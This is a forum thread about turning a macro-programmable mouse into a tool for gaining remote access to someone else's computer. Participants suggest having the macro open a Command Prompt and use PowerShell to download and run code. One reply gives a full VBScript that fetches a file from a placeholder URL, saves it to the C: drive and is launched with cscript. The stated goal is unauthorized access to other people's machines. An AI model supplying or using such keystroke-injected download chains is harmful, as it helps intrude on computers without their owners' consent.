Forum Thread: Macro Mouse Hack

Macro Mouse Hack

I just got a macro programmable mouse and was thinking that it could be interesting to create a macro so that when run on someone elses computer could allow remote access, or do something else of interest. Any ideas out there? It would have to be some command that could be recorded on the mouses macro. Such as opening a web browser and searching a specific url.

4 Responses

My mouse has buttons for keystrokes and combinations, so it seems like it could be programmed to maybe open a Command Prompt, and type some commands. That'd be pretty cool.

Thats what i was thinking as well. I just don't know what kind of command would be useful to quicky run.

There seem to be some commands for PowerShell that can download pages from the internet, and I'm sure there are commands to run them.

You can write a VBScript and run it from CMD:

*' Set your settings
strFileURL = "http://example.com/download"
strHDLocation = "c:\logo.jpg"

' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")

objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary

objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start

Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if

Set objXMLHTTP = Nothing*

And to run the file from CMD - cscript.exe downloadfile.vbs

Share Your Thoughts

  • Hot
  • Active